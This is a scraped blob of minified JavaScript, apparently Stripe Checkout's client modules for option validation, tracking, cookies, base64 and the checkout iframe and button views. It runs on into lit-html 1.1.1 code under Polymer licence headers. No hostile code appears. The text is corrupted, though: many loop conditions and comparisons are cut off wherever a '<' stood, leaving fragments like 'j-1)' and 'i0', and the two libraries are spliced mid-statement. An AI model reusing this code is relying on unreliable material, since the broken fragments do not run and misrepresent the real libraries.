hashParts,query;query=encodeURIComponent(name)+"="+encodeURIComponent(value);hashParts=new String(url).split("#");hashParts[0]+=hashParts[0].indexOf("?")!==-1?"&":"?";hashParts[0]+=query;return hashParts.join("#")},bind:function(element,name,callback){if(element.addEventListener){return element.addEventListener(name,callback,false)}else{return element.attachEvent("on"+name,callback)}},unbind:function(element,name,callback){if(element.removeEventListener){return element.removeEventListener(name,callback,false)}else{return element.detachEvent("on"+name,callback)}},host:function(url){var parent,parser;parent=document.createElement("div");parent.innerHTML='x';parser=parent.firstChild;return parser.protocol+"//"+parser.host},strip:function(html){var ref,ref1,tmp;tmp=document.createElement("div");tmp.innerHTML=html;return(ref=(ref1=tmp.textContent)!=null?ref1:tmp.innerText)!=null?ref:""},replaceFullWidthNumbers:function(el){var char,fullWidth,halfWidth,idx,j,len,original,ref,replaced;fullWidth="０１２３４５６７８９";halfWidth="0123456789";original=el.value;replaced="";ref=original.split("");for(j=0,len=ref.length;j-1){char=halfWidth[idx]}replaced+=char}if(original!==replaced){return el.value=replaced}},setAutocomplete:function(el,type){var secureCCFill;secureCCFill=helpers.chromeVersion()>14||helpers.safariVersion()>7;if(type!=="cc-csc"&&(!/^cc-/.test(type)||secureCCFill)){el.setAttribute("x-autocompletetype",type);el.setAttribute("autocompletetype",type)}else{el.setAttribute("autocomplete","off")}if(!(type==="country-name"||type==="language"||type==="sex"||type==="gender-identity")){el.setAttribute("autocorrect","off");el.setAttribute("spellcheck","off")}if(!(/name|honorific/.test(type)||(type==="locality"||type==="city"||type==="adminstrative-area"||type==="state"||type==="province"||type==="region"||type==="language"||type==="org"||type==="organization-title"||type==="sex"||type==="gender-identity"))){return el.setAttribute("autocapitalize","off")}},hashCode:function(str){var hash,i,j,ref;hash=5381;for(i=j=0,ref=str.length;j>>0)%65535},stripeUrlPrefix:function(){var match;match=window.location.hostname.match("^([a-z-]*)checkout.");if(match){return match[1]}else{return""}},clientLocale:function(){return(window.navigator.languages||[])[0]||window.navigator.userLanguage||window.navigator.language},dashToCamelCase:function(dashed){return dashed.replace(/-(\w)/g,function(match,char){return char.toUpperCase()})},camelToDashCase:function(cameled){return cameled.replace(/([A-Z])/g,function(g){return"-"+g.toLowerCase()})},isArray:Array.isArray||function(val){return{}.toString.call(val)==="[object Array]"}};module.exports=helpers}).call(this)}});StripeCheckout.require.define({"lib/spellChecker":function(exports,require,module){(function(){var levenshtein;module.exports={levenshtein:levenshtein=function(str1,str2){var d,i,j,k,l,m,n,o,p,ref,ref1,ref2,ref3;m=str1.length;n=str2.length;d=[];if(!m){return n}if(!n){return m}for(i=k=0,ref=m;0<=ref?k<=ref:k>=ref;i=0<=ref?++k:--k){d[i]=[i]}for(j=l=1,ref1=n;1<=ref1?l<=ref1:l>=ref1;j=1<=ref1?++l:--l){d[0][j]=j}for(i=o=1,ref2=m;1<=ref2?o<=ref2:o>=ref2;i=1<=ref2?++o:--o){for(j=p=1,ref3=n;1<=ref3?p<=ref3:p>=ref3;j=1<=ref3?++p:--p){if(str1[i-1]===str2[j-1]){d[i][j]=d[i-1][j-1]}else{d[i][j]=Math.min(d[i-1][j],d[i][j-1],d[i-1][j-1])+1}}}return d[m][n]},suggest:function(dictionary,badword,threshold){var dist,k,len,maxDist,suggestion,word;if(threshold==null){threshold=Infinity}maxDist=Infinity;suggestion=null;for(k=0,len=dictionary.length;kcap){return val.slice(0,cap-3)+"..."}else{return val}};dumpObject=function(obj){return truncate(repr(obj),50)};prettyPrint=function(key,rawOptions){var original,ref;original=(ref=rawOptions.__originals)!=null?ref[key]:void 0;if(original){return original}else if(rawOptions.buttonIntegration){return"data-"+helpers.camelToDashCase(key)}else{return key}};toBoolean=function(val){return val!=="false"&&val!==false&&val!=null};toNumber=function(val){if(typeof val==="number"){return val}else if(typeof val==="string"){return parseInt(val)}};toString=function(val){if(val==null){return""}else{return""+val}};identity=function(val){return val};module.exports={prettyPrint:prettyPrint,flatten:flatten,repr:repr,truncate:truncate,dumpObject:dumpObject,toBoolean:toBoolean,toNumber:toNumber,toString:toString,identity:identity}}).call(this)}});StripeCheckout.require.define({"lib/paymentMethods":function(exports,require,module){(function(){var ERROR,METHODS,OPTIONAL,PRETTY_METHODS,PRIVATE,REQUIRED,WARNING,_exports,alipayEnabled,alipayToCanonical,canonicalize,checkContext,checkNoDuplicates,checkNoOldAPI,coerceDefaults,deepMethodTypeCheck,helpers,isValidMethod,methodName,methodsArrayToDict,optionHelpers,optionValidator,ref,ref1,simpleMethodTypeCheck,simpleToCanonical,singleMethodTypeCheck,spec,transformMethods,hasProp={}.hasOwnProperty,indexOf=[].indexOf||function(item){for(var i=0,l=this.length;i0){return{type:ERROR,message:"Error when checking the '"+methodSettings.method+"' method:\n"+errors[0].toString()}}else{return null}};singleMethodTypeCheck=function(method,idx){var methodSettings,pretty;if(typeof method==="string"){return simpleMethodTypeCheck(method)}else if((method!=null?method.method:void 0)!=null){methodSettings=method;return deepMethodTypeCheck(methodSettings)}else{pretty=optionHelpers.dumpObject(methodSettings);return{type:ERROR,message:"All elements of paymentMethods need to be either an object with a 'method' property or one of these strings: "+PRETTY_METHODS+".\n At index "+idx+" we found '"+pretty+"' which was neither."}}};spec=function(key,val,options){var actualType,error,i,idx,len,method;if(val===null){return null}if(!helpers.isArray(val)){actualType=val===null?"null":typeof val;return{type:ERROR,message:"Looking for an Array, but instead we found '"+actualType+"'."}}for(idx=i=0,len=val.length;i=0||indexOf.call(OPTIONS.conditionallyRequired,suggestion)>=0){missingRequiredErrors=function(){var i,len,results;results=[];for(idx=i=0,len=errors.length;i0){idx=missingRequiredErrors[0];errors[idx]=new ErrorMisspelledRequired(rawOptions,suggestion,option)}else{warnings.push(new WarnUnrecognized(rawOptions,option))}}else if(suggestion!=null){warnings.push(new WarnMisspelledOptional(rawOptions,suggestion,option))}else{warnings.push(new WarnUnrecognized(rawOptions,option))}}}};checkOptionTypes=function(OPTIONS,arg,rawOptions){var error,errors,filtered,message,option,type,val,warnings;errors=arg.errors,warnings=arg.warnings;filtered={};for(option in rawOptions){val=rawOptions[option];if(option in OPTIONS.all){filtered[option]=val}}for(option in filtered){val=filtered[option];error=OPTIONS.all[option].spec(option,val,rawOptions);if(!error){continue}type=error.type,message=error.message;if(type===ERROR){errors.push(new WarnOptionTypeError(rawOptions,option,message))}else{warnings.push(new WarnOptionTypeError(rawOptions,option,message))}}};checkOptionContexts=function(OPTIONS,arg,rawOptions){var error,errors,filtered,message,option,type,val,warnings;errors=arg.errors,warnings=arg.warnings;filtered={};for(option in rawOptions){val=rawOptions[option];if(option in OPTIONS.all){filtered[option]=val}}for(option in filtered){val=filtered[option];error=OPTIONS.all[option].checkContext(option,val,rawOptions);if(!error){continue}type=error.type,message=error.message;if(type===ERROR){errors.push(new WarnBadContext(rawOptions,option,message))}else{warnings.push(new WarnBadContext(rawOptions,option,message))}}};validate=function(optionSpec,rawOptions){var OPTIONS,errors,warnings;OPTIONS=fromSpec(optionSpec);errors=[];warnings=[];checkRequiredOptions(OPTIONS,{errors:errors,warnings:warnings},rawOptions);checkConditionallyRequiredOptions(OPTIONS,{errors:errors,warnings:warnings},rawOptions);checkUnrecognizedOptions(OPTIONS,{errors:errors,warnings:warnings},rawOptions);checkOptionTypes(OPTIONS,{errors:errors,warnings:warnings},rawOptions);checkOptionContexts(OPTIONS,{errors:errors,warnings:warnings},rawOptions);return{errors:errors,warnings:warnings}};module.exports={ErrorMissingRequired:ErrorMissingRequired,ErrorMissingOneOfRequired:ErrorMissingOneOfRequired,ErrorMisspelledRequired:ErrorMisspelledRequired,WarnMisspelledOptional:WarnMisspelledOptional,WarnUnrecognized:WarnUnrecognized,WarnOptionTypeError:WarnOptionTypeError,WarnBadContext:WarnBadContext,severities:{ERROR:ERROR,WARNING:WARNING},importances:{OPTIONAL:OPTIONAL,REQUIRED:REQUIRED,PRIVATE:PRIVATE},simpleTypeCheck:simpleTypeCheck,simpleNullableTypeCheck:simpleNullableTypeCheck,isString:isString,isBoolean:isBoolean,isNumber:isNumber,isNullableString:isNullableString,isNullableBoolean:isNullableBoolean,isNullableNumber:isNullableNumber,ignore:ignore,xRequiresY:xRequiresY,xPrecludesY:xPrecludesY,coerceOption:coerceOption,validate:validate}}).call(this)}});StripeCheckout.require.define({"lib/optionParser":function(exports,require,module){(function(){var CHECKOUT_DOCS_URL,_trackIndividual,extractValue,formatMessage,helpers,isLiveModeFromKey,optionSpecs,optionValidator,trackError,trackSummary,trackWarning,tracker;tracker=require("lib/tracker");helpers=require("lib/helpers");optionValidator=require("lib/optionValidator");optionSpecs=require("lib/optionSpecs");CHECKOUT_DOCS_URL="https://stripe.com/docs/checkout";extractValue=function(rawOptions,key){var dashed,downcased;if(rawOptions[key]!=null){return rawOptions[key]}downcased=key.toLowerCase();if(rawOptions[downcased]!=null){return rawOptions[downcased]}dashed=helpers.camelToDashCase(key);if(rawOptions[dashed]!=null){return rawOptions[dashed]}};isLiveModeFromKey=function(key){if(!(typeof key==="string"||key instanceof String)){return false}return!/^pk_test_.*$/.test(key)};formatMessage=function(origin,message){return"StripeCheckout."+origin+": "+message+"\nYou can learn about the available configuration options in the Checkout docs:\n"+CHECKOUT_DOCS_URL};_trackIndividual=function(level,origin,rawOptions,error){var k,parameters,ref,v;parameters={"optchecker-origin":origin};ref=error.trackedInfo();for(k in ref){v=ref[k];parameters["optchecker-"+k]=v}switch(level){case"error":tracker.track.configError(parameters,rawOptions);break;case"warning":tracker.track.configWarning(parameters,rawOptions)}};trackSummary=function(parameters,rawOptions){var k,prefixedParams,v;prefixedParams={};for(k in parameters){v=parameters[k];prefixedParams["optchecker-"+k]=v}return tracker.track.configSummary(prefixedParams,rawOptions)};trackError=function(origin,rawOptions,error){return _trackIndividual("error",origin,rawOptions,error)};trackWarning=function(origin,rawOptions,error){return _trackIndividual("warning",origin,rawOptions,error)};module.exports={coerceButtonOption:function(option,val){return optionValidator.coerceOption(optionSpecs.buttonConfigureOptions,option,val)},parse:function(rawOptions){var OPTIONS,opt,optsettings,parsed,val;if(rawOptions==null){rawOptions={}}parsed={};if(rawOptions.buttonIntegration){OPTIONS=optionSpecs.buttonOpenOptions}else{OPTIONS=optionSpecs.customOpenOptions}for(opt in OPTIONS){optsettings=OPTIONS[opt];val=extractValue(rawOptions,opt);if(val==null&&optsettings["default"]!=null){val=optsettings["default"]}parsed[opt]=optionValidator.coerceOption(OPTIONS,opt,val)}if(parsed.shippingAddress){parsed.billingAddress=true}if(rawOptions.address!=null&&rawOptions.address!=="false"&&rawOptions.address!==false){parsed.billingAddress=true}if(parsed.billingAddress){parsed.zipCode=false}return parsed},checkUsage:function(origin,rawOptions,isDarkMode){var OPTIONS,error,errors,i,isConfigure,isLiveMode,j,len,len1,numErrors,numWarnings,quiet,ref,warning,warnings;if(isDarkMode==null){isDarkMode=false}isLiveMode=isLiveModeFromKey(rawOptions.key);quiet=isLiveMode||isDarkMode;isConfigure=origin==="configure";if(rawOptions.buttonIntegration){if(isConfigure){OPTIONS=optionSpecs.buttonConfigureOptions}else{OPTIONS=optionSpecs.buttonOpenOptions}}else{if(isConfigure){OPTIONS=optionSpecs.customConfigureOptions}else{OPTIONS=optionSpecs.customOpenOptions}}ref=optionValidator.validate(OPTIONS,rawOptions),errors=ref.errors,warnings=ref.warnings;numErrors=errors.length;numWarnings=warnings.length;trackSummary({origin:origin,numErrors:numErrors,numWarnings:numWarnings},rawOptions);for(i=0,len=errors.length;i0);for(j=0,len1=warnings.length;j")};generateID=function(){return"xxxxxxxx-xxxx-4xxx-yxxx-xxxxxxxxxxxx".replace(/[xy]/g,function(c){var r,v;r=Math.random()*16|0;v=c==="x"?r:r&3|8;return v.toString(16)})};setCookie=function(name,value,options){var cookie,expires;if(options==null){options={}}if(options.expires===true){options.expires=-1}if(typeof options.expires==="number"){expires=new Date;expires.setTime(expires.getTime()+options.expires*24*60*60*1e3);options.expires=expires}if(options.path==null){options.path="/"}value=(value+"").replace(/[^!#-+\--:<-\[\]-~]/g,encodeURIComponent);cookie=encodeURIComponent(name)+"="+value;if(options.expires){cookie+=";expires="+options.expires.toGMTString()}if(options.path){cookie+=";path="+options.path}if(options.domain){cookie+=";domain="+options.domain}return document.cookie=cookie};getCookie=function(name){var cookie,cookies,i,index,key,len,value;cookies=document.cookie.split("; ");for(i=0,len=cookies.length;i127&&c1<2048){enc=String.fromCharCode(c1>>6|192,c1&63|128)}else{enc=String.fromCharCode(c1>>12|224,c1>>6&63|128,c1&63|128)}if(enc!==null){if(end>start){utftext+=string.substring(start,end)}utftext+=enc;start=end=n+1}}if(end>start){utftext+=string.substring(start,string.length)}return utftext};module.exports.encode=function(data){var b64="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";var o1,o2,o3,h1,h2,h3,h4,bits,i=0,ac=0,enc="",tmp_arr=[];if(!data){return data}data=utf8Encode(data);do{o1=data.charCodeAt(i++);o2=data.charCodeAt(i++);o3=data.charCodeAt(i++);bits=o1<<16|o2<<8|o3;h1=bits>>18&63;h2=bits>>12&63;h3=bits>>6&63;h4=bits&63;tmp_arr[ac++]=b64.charAt(h1)+b64.charAt(h2)+b64.charAt(h3)+b64.charAt(h4)}while(i0){throw new Error("Missing required data ("+missingKeys.join(", ")+") for tracking "+eventName+".")}parameters.distinct_id=config.distinctId;parameters.eventId=uuid.generate();if(options.appendStateParameters==null){options.appendStateParameters=true}if(options.appendStateParameters){for(k in stateParameters){v=stateParameters[k];parameters[k]=v}}parameters.h=screen.height;parameters.w=screen.width;for(v=i=0,len=parameters.length;i=0};css=function(element,css){return element.style.cssText+=";"+css};insertBefore=function(element,child){return element.parentNode.insertBefore(child,element)};insertAfter=function(element,child){return element.parentNode.insertBefore(child,element.nextSibling)};append=function(element,child){return element.appendChild(child)};remove=function(element){var ref;return(ref=element.parentNode)!=null?ref.removeChild(element):void 0};parents=function(node){var ancestors;ancestors=[];while((node=node.parentNode)&&node!==document&&indexOf.call(ancestors,node)<0){ancestors.push(node)}return ancestors};resolve=function(url){var parser;parser=document.createElement("a");parser.href=url;return""+parser.href};text=function(element,value){if("innerText"in element){element.innerText=value}else{element.textContent=value}return value};module.exports={$:$,$$:$$,hasAttr:hasAttr,trigger:trigger,addClass:addClass,hasClass:hasClass,css:css,insertBefore:insertBefore,insertAfter:insertAfter,append:append,remove:remove,parents:parents,resolve:resolve,text:text}}).call(this)}});StripeCheckout.require.define({"outer/controllers/app":function(exports,require,module){(function(){var App,Checkout,RPC,TokenCallback,optionParser,tracker,utils,bind=function(fn,me){return function(){return fn.apply(me,arguments)}};Checkout=require("outer/controllers/checkout");TokenCallback=require("outer/controllers/tokenCallback");RPC=require("lib/rpc");optionParser=require("lib/optionParser");tracker=require("lib/tracker");utils=require("outer/lib/utils");App=function(){function App(options){var ref,ref1;if(options==null){options={}}this.setForceAppType=bind(this.setForceAppType,this);this.setForceView=bind(this.setForceView,this);this.setForceManhattan=bind(this.setForceManhattan,this);this.getHost=bind(this.getHost,this);this.setHost=bind(this.setHost,this);this.configure=bind(this.configure,this);this.close=bind(this.close,this);this.open=bind(this.open,this);this.configurations={};this.checkouts={};this.constructorOptions={host:"https://checkout.stripe.com",forceManhattan:false,forceView:false,forceAppType:false};this.timeLoaded=Math.floor((new Date).getTime()/1e3);this.totalButtons=0;if(((ref=window.Prototype)!=null?(ref1=ref.Version)!=null?ref1.indexOf("1.6"):void 0:void 0)===0){console.error("Stripe Checkout is not compatible with your version of Prototype.js. Please upgrade to version 1.7 or greater.")}}App.prototype.open=function(options,buttonId){var checkout,k,mergedOptions,ref,v;if(options==null){options={}}if(buttonId==null){buttonId=null}mergedOptions={};if(buttonId&&this.configurations[buttonId]){ref=this.configurations[buttonId];for(k in ref){v=ref[k];mergedOptions[k]=v}}for(k in options){v=options[k];mergedOptions[k]=v}if(mergedOptions.image){mergedOptions.image=utils.resolve(mergedOptions.image)}mergedOptions.referrer=document.referrer;mergedOptions.url=document.URL;mergedOptions.timeLoaded=this.timeLoaded;optionParser.checkUsage("open",mergedOptions);this.validateOptions(options,"open");mergedOptions.createSource=!!mergedOptions.source;if(buttonId){checkout=this.checkouts[buttonId];if(options.token!=null||options.onToken!=null){checkout.setOnToken(new TokenCallback(options))}}else{checkout=new Checkout(new TokenCallback(options),this.constructorOptions,options)}this.trackOpen(checkout,mergedOptions);this.trackViewport();return checkout.open(mergedOptions)};App.prototype.close=function(buttonId){var ref;return(ref=this.checkouts[buttonId])!=null?ref.close():void 0};App.prototype.configure=function(buttonId,options){if(options==null){options={}}if(buttonId instanceof Object){options=buttonId;buttonId="button"+this.totalButtons++}this.enableTracker(options);optionParser.checkUsage("configure",options);if(options.image){options.image=utils.resolve(options.image)}this.validateOptions(options,"configure");this.configurations[buttonId]=options;this.checkouts[buttonId]=new Checkout(new TokenCallback(options),this.constructorOptions,options);this.checkouts[buttonId].preload(options);return{open:function(_this){return function(options){return _this.open(options,buttonId)}}(this),close:function(_this){return function(){return _this.close(buttonId)}}(this)}};App.prototype.validateOptions=function(options,which){var error,url;try{return JSON.stringify(options)}catch(error){url="https://stripe.com/docs/checkout#integration-custom";throw new Error("Stripe Checkout was unable to serialize the options passed to StripeCheckout."+which+"(). Please consult the doumentation to confirm that you're supplying values of the expected type: "+url)}};App.prototype.setHost=function(host){return this.constructorOptions.host=host};App.prototype.getHost=function(){return this.constructorOptions.host};App.prototype.setForceManhattan=function(force){return this.constructorOptions.forceManhattan=!!force};App.prototype.setForceView=function(force){return this.constructorOptions.forceView=force};App.prototype.setForceAppType=function(force){return this.constructorOptions.forceAppType=force};App.prototype.enableTracker=function(options){return tracker.setEnabled(!options.notrack)};App.prototype.trackOpen=function(checkout,options){var data;this.enableTracker(options);data={key:options.key,lsid:"NA",cid:"NA"};return tracker.track.outerOpen(data)};App.prototype.trackViewport=function(checkout,options){var error,metaTags,tag,viewport,viewportContent;metaTags=document.getElementsByTagName("meta");viewportContent=function(){var i,len,results;results=[];for(i=0,len=metaTags.length;i0){key=key+arg.substr(0,1).toUpperCase()+arg.substr(1).toLowerCase()}}return"stripe"+key};Button.prototype.renderInput=function(name,value){var input;input=document.createElement("input");input.type="hidden";input.name=name;input.value=value;return input};Button.prototype.parentForm=function(){var el,elements,i,len,ref1;elements=parents(this.$el);for(i=0,len=elements.length;i1};return TokenCallback}();module.exports=TokenCallback}).call(this)}});StripeCheckout.require.define({"outer/views/fallbackView":function(exports,require,module){(function(){var FallbackRPC,FallbackView,View,bind=function(fn,me){return function(){return fn.apply(me,arguments)}},extend=function(child,parent){for(var key in parent){if(hasProp.call(parent,key))child[key]=parent[key]}function ctor(){this.constructor=child}ctor.prototype=parent.prototype;child.prototype=new ctor;child.__super__=parent.prototype;return child},hasProp={}.hasOwnProperty;FallbackRPC=require("outer/lib/fallbackRpc");View=require("outer/views/view");FallbackView=function(superClass){extend(FallbackView,superClass);function FallbackView(){this.triggerTokenCallback=bind(this.triggerTokenCallback,this);this.close=bind(this.close,this);this.open=bind(this.open,this);FallbackView.__super__.constructor.apply(this,arguments)}FallbackView.prototype.open=function(options,callback){var message,url;FallbackView.__super__.open.apply(this,arguments);url=this.host+this.path;this.frame=window.open(url,"stripe_checkout_app","width=400,height=400,location=yes,resizable=yes,scrollbars=yes");if(this.frame==null){alert("Disable your popup blocker to proceed with checkout.");url="https://stripe.com/docs/checkout#integration-more-runloop";throw new Error("To learn how to prevent the Stripe Checkout popup from being blocked, please visit "+url)}this.rpc=new FallbackRPC(this.frame,url);this.rpc.receiveMessage(function(_this){return function(e){var data,error;try{data=JSON.parse(e.data)}catch(error){return}return _this.onToken(data)}}(this));message=JSON.stringify(this.options);this.rpc.invokeTarget(message);return callback(true)};FallbackView.prototype.close=function(){var ref;return(ref=this.frame)!=null?ref.close():void 0};FallbackView.prototype.triggerTokenCallback=function(err){if(err){return alert(err)}};return FallbackView}(View);module.exports=FallbackView}).call(this)}});StripeCheckout.require.define({"outer/views/iframeView":function(exports,require,module){(function(){var IframeView,RPC,View,helpers,ready,utils,bind=function(fn,me){return function(){return fn.apply(me,arguments)}},extend=function(child,parent){for(var key in parent){if(hasProp.call(parent,key))child[key]=parent[key]}function ctor(){this.constructor=child}ctor.prototype=parent.prototype;child.prototype=new ctor;child.__super__=parent.prototype;return child},hasProp={}.hasOwnProperty;utils=require("outer/lib/utils");helpers=require("lib/helpers");RPC=require("lib/rpc");View=require("outer/views/view");ready=require("vendor/ready");IframeView=function(superClass){extend(IframeView,superClass);function IframeView(onToken,host,path){this.configure=bind(this.configure,this);this.removeFrame=bind(this.removeFrame,this);this.removeTouchOverlay=bind(this.removeTouchOverlay,this);this.showTouchOverlay=bind(this.showTouchOverlay,this);this.attachIframe=bind(this.attachIframe,this);this.setToken=bind(this.setToken,this);this.closed=bind(this.closed,this);this.close=bind(this.close,this);this.preload=bind(this.preload,this);this.opened=bind(this.opened,this);this.open=bind(this.open,this);IframeView.__super__.constructor.apply(this,arguments);this.useFullscreenMobileIframe=helpers.couldBeBrokenSFSVC();this.backButtonListener=function(_this){return function(){if(history.state==="temp1"){_this.frame.style.visibility="hidden";_this.frame.style.display="none";return _this.close()}}}(this)}IframeView.prototype.open=function(options,callback){IframeView.__super__.open.apply(this,arguments);return ready(function(_this){return function(){var left,loaded,ref;_this.originalOverflowValue=document.body.style.overflow;if(_this.useFullscreenMobileIframe){_this.originalPositionValue=document.body.style.position;_this.originalWidthValue=document.body.style.width;_this.originalHeightValue=document.body.style.height;history.pushState("temp1",null,null);history.pushState("temp2",null,null);window.addEventListener("popstate",_this.backButtonListener);document.body.style.overflow="hidden";document.body.style.position="fixed";document.body.style.width="100%";document.body.style.height="100%"}if(_this.frame==null){_this.configure()}if(typeof $!=="undefined"&&$!==null?(ref=$.fn)!=null?ref.modal:void 0:void 0){$(document).off("focusin.bs.modal").off("focusin.modal")}if(helpers.isIE()){document.body.style.overflow="hidden"}_this.frame.style.display="block";if(_this.shouldShowTouchOverlay()){_this.showTouchOverlay();left=window.scrollX||window.pageXOffset;if(_this.iframeWidth()2&&void 0!==arguments[2]?arguments[2]:null;t!==n;){var o=t.nextSibling;e.removeChild(t),t=o}},c={},l={},u="{{lit-".concat(String(Math.random()).slice(2),"}}"),d="\x3c!--".concat(u,"--\x3e"),p=new RegExp("".concat(u,"|").concat(d)),f=function e(t,n){Object(o.b)(this,e),this.parts=[],this.element=n;for(var r=[],a=[],i=document.createTreeWalker(n.content,133,null,!1),s=0,c=-1,l=0,d=t.strings,f=t.values.length;l0;){var k=d[l],S=v.exec(k)[2],P=S.toLowerCase()+"$lit$",C=m.getAttribute(P);m.removeAttribute(P);var O=C.split(p);this.parts.push({type:"attribute",index:c,name:S,strings:O}),l+=O.length-1}}"TEMPLATE"===m.tagName&&(a.push(m),i.currentNode=m.content)}else if(3===m.nodeType){var E=m.data;if(E.indexOf(u)>=0){for(var j=m.parentNode,x=E.split(p),A=x.length-1,T=0;T=0&&e.slice(n)===t},m=function(e){return-1!==e.index},y=function(){return document.createComment("")},v=/([ \x09\x0a\x0c\x0d])([^\0-\x1F\x7F-\x9F "'>=\/]+)([ \x09\x0a\x0c\x0d]*=[ \x09\x0a\x0c\x0d]*(?:[^ \x09\x0a\x0c\x0d"'`<>=]*|"[^"]*|'[^']*))$/,b=function(){function e(t,n,r){Object(o.b)(this,e),this.__parts=[],this.template=t,this.processor=n,this.options=r}return Object(o.c)(e,[{key:"update",value:function(e){var t=0,n=!0,o=!1,r=void 0;try{for(var a,i=this.__parts[Symbol.iterator]();!(n=(a=i.next()).done);n=!0){var s=a.value;void 0!==s&&s.setValue(e[t]),t++}}catch(e){o=!0,r=e}finally{try{n||null==i.return||i.return()}finally{if(o)throw r}}var c=!0,l=!1,u=void 0;try{for(var d,p=this.__parts[Symbol.iterator]();!(c=(d=p.next()).done);c=!0){var f=d.value;void 0!==f&&f.commit()}}catch(e){l=!0,u=e}finally{try{c||null==p.return||p.return()}finally{if(l)throw u}}}},{key:"_clone",value:function(){for(var e,t=i?this.template.element.content.cloneNode(!0):document.importNode(this.template.element.content,!0),n=[],r=this.template.parts,a=document.createTreeWalker(t,133,null,!1),s=0,c=0,l=a.nextNode();s-1||n)&&-1===r.indexOf("--\x3e",a+1);var i=v.exec(r);t+=null===i?r+(n?u:d):r.substr(0,i.index)+i[1]+i[2]+"$lit$"+i[3]+u}return t+=this.strings[e]}},{key:"getTemplateElement",value:function(){var e=document.createElement("template");return e.innerHTML=this.getHTML(),e}}]),e}(),_=function(e){return null===e||!("object"===Object(o.a)(e)||"function"==typeof e)},w=function(e){return Array.isArray(e)||!(!e||!e[Symbol.iterator])},k=function(){function e(t,n,r){Object(o.b)(this,e),this.dirty=!0,this.element=t,this.name=n,this.strings=r,this.parts=[];for(var a=0;a0&&void 0!==arguments[0]?arguments[0]:this.startNode;s(this.startNode.parentNode,e.nextSibling,this.endNode)}}]),e}(),C=function(){function e(t,n,r){if(Object(o.b)(this,e),this.value=void 0,this.__pendingValue=void 0,2!==r.length||""!==r[0]||""!==r[1])throw new Error("Boolean attributes can only contain a single expression");this.element=t,this.name=n,this.strings=r}return Object(o.c)(e,[{key:"setValue",value:function(e){this.__pendingValue=e}},{key:"commit",value:function(){for(;a(this.__pendingValue);){var e=this.__pendingValue;this.__pendingValue=c,e(this)}if(this.__pendingValue!==c){var t=!!this.__pendingValue;this.value!==t&&(t?this.element.setAttribute(this.name,""):this.element.removeAttribute(this.name),this.value=t),this.__pendingValue=c}}}]),e}(),O=function(e){function t(e,n,r){var a;return Object(o.b)(this,t),(a=Object(o.f)(this,Object(o.g)(t).call(this,e,n,r))).single=2===r.length&&""===r[0]&&""===r[1],a}return Object(o.e)(t,e),Object(o.c)(t,[{key:"_createPart",value:function(){return new E(this)}},{key:"_getValue",value:function(){return this.single?this.parts[0].value:Object(o.h)(Object(o.g)(t.prototype),"_getValue",this).call(this)}},{key:"commit",value:function(){this.dirty&&(this.dirty=!1,this.element[this.name]=this._getValue())}}]),t}(k),E=function(e){function t(){return Object(o.b)(this,t),Object(o.f)(this,Object(o.g)(t).apply(this,arguments))}return Object(o.e)(t,e),t}(S),j=!1; -/** - * @license - * Copyright (c) 2017 The Polymer Project Authors. All rights reserved. - * This code may only be used under the BSD style license found at - * http://polymer.github.io/LICENSE.txt - * The complete set of authors may be found at - * http://polymer.github.io/AUTHORS.txt - * The complete set of contributors may be found at - * http://polymer.github.io/CONTRIBUTORS.txt - * Code distributed by Google as part of the polymer project is also - * subject to an additional IP rights grant found at - * http://polymer.github.io/PATENTS.txt - */try{var x={get capture(){return j=!0,!1}};window.addEventListener("test",x,x),window.removeEventListener("test",x,x)}catch(e){}var A=function(){function e(t,n,r){var a=this;Object(o.b)(this,e),this.value=void 0,this.__pendingValue=void 0,this.element=t,this.eventName=n,this.eventContext=r,this.__boundHandleEvent=function(e){return a.handleEvent(e)}}return Object(o.c)(e,[{key:"setValue",value:function(e){this.__pendingValue=e}},{key:"commit",value:function(){for(;a(this.__pendingValue);){var e=this.__pendingValue;this.__pendingValue=c,e(this)}if(this.__pendingValue!==c){var t=this.__pendingValue,n=this.value,o=null==t||null!=n&&(t.capture!==n.capture||t.once!==n.once||t.passive!==n.passive),r=null!=t&&(null==n||o);o&&this.element.removeEventListener(this.eventName,this.__boundHandleEvent,this.__options),r&&(this.__options=T(t),this.element.addEventListener(this.eventName,this.__boundHandleEvent,this.__options)),this.value=t,this.__pendingValue=c}}},{key:"handleEvent",value:function(e){"function"==typeof this.value?this.value.call(this.eventContext||this.element,e):this.value.handleEvent(e)}}]),e}(),T=function(e){return e&&(j?{capture:e.capture,passive:e.passive,once:e.once}:e.capture)},D=new(function(){function e(){Object(o.b)(this,e)}return Object(o.c)(e,[{key:"handleAttributeExpressions",value:function(e,t,n,o){var r=t[0];return"."===r?new O(e,t.slice(1),n).parts:"@"===r?[new A(e,t.slice(1),o.eventContext)]:"?"===r?[new C(e,t.slice(1),n)]:new k(e,t,n).parts}},{key:"handleTextExpression",value:function(e){return new P(e)}}]),e}()); -/** - * @license - * Copyright (c) 2017 The Polymer Project Authors. All rights reserved. - * This code may only be used under the BSD style license found at - * http://polymer.github.io/LICENSE.txt - * The complete set of authors may be found at - * http://polymer.github.io/AUTHORS.txt - * The complete set of contributors may be found at - * http://polymer.github.io/CONTRIBUTORS.txt - * Code distributed by Google as part of the polymer project is also - * subject to an additional IP rights grant found at - * http://polymer.github.io/PATENTS.txt - */ -function M(e){var t=$.get(e.type);void 0===t&&(t={stringsArray:new WeakMap,keyString:new Map},$.set(e.type,t));var n=t.stringsArray.get(e.strings);if(void 0!==n)return n;var o=e.strings.join(u);return void 0===(n=t.keyString.get(o))&&(n=new f(e,e.getTemplateElement()),t.keyString.set(o,n)),t.stringsArray.set(e.strings,n),n}var $=new Map,B=new WeakMap; -/** - * @license - * Copyright (c) 2017 The Polymer Project Authors. All rights reserved. - * This code may only be used under the BSD style license found at - * http://polymer.github.io/LICENSE.txt - * The complete set of authors may be found at - * http://polymer.github.io/AUTHORS.txt - * The complete set of contributors may be found at - * http://polymer.github.io/CONTRIBUTORS.txt - * Code distributed by Google as part of the polymer project is also - * subject to an additional IP rights grant found at - * http://polymer.github.io/PATENTS.txt - */ -/** - * @license - * Copyright (c) 2017 The Polymer Project Authors. All rights reserved. - * This code may only be used under the BSD style license found at - * http://polymer.github.io/LICENSE.txt - * The complete set of authors may be found at - * http://polymer.github.io/AUTHORS.txt - * The complete set of contributors may be found at - * http://polymer.github.io/CONTRIBUTORS.txt - * Code distributed by Google as part of the polymer project is also - * subject to an additional IP rights grant found at - * http://polymer.github.io/PATENTS.txt - */ -(window.litHtmlVersions||(window.litHtmlVersions=[])).push("1.1.1");var N=function(e){for(var 